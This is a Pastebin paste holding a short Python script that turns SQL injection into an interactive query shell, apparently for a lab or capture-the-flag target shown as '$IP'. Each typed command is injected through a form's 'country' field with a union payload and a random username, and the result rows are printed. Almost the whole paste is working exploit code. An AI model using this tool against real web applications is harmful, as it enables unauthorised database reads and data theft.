Advertisement
Guest User

Untitled

a guest
Aug 31st, 2022
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.66 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. import random
  4. import requests
  5. from bs4 import BeautifulSoup
  6. from cmd import Cmd
  7.  
  8.  
  9. class Term(Cmd):
  10.  
  11. prompt = "$ "
  12.  
  13. def default(self, args):
  14. name = f'greyhound-{random.randrange(1000000,9999999)}'
  15. resp = requests.post('http://$IP/',
  16. headers={"Content-Type": "application/x-www-form-urlencoded"},
  17. data={"username": name, "country": f"' union {args};-- -"})
  18. soup = BeautifulSoup(resp.text, 'html.parser')
  19. if soup.li:
  20. print('\n'.join([x.text for x in soup.findAll('li')]))
  21.  
  22. def do_quit(self, args):
  23. return 1
  24.  
  25. term = Term()
  26. term.cmdloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement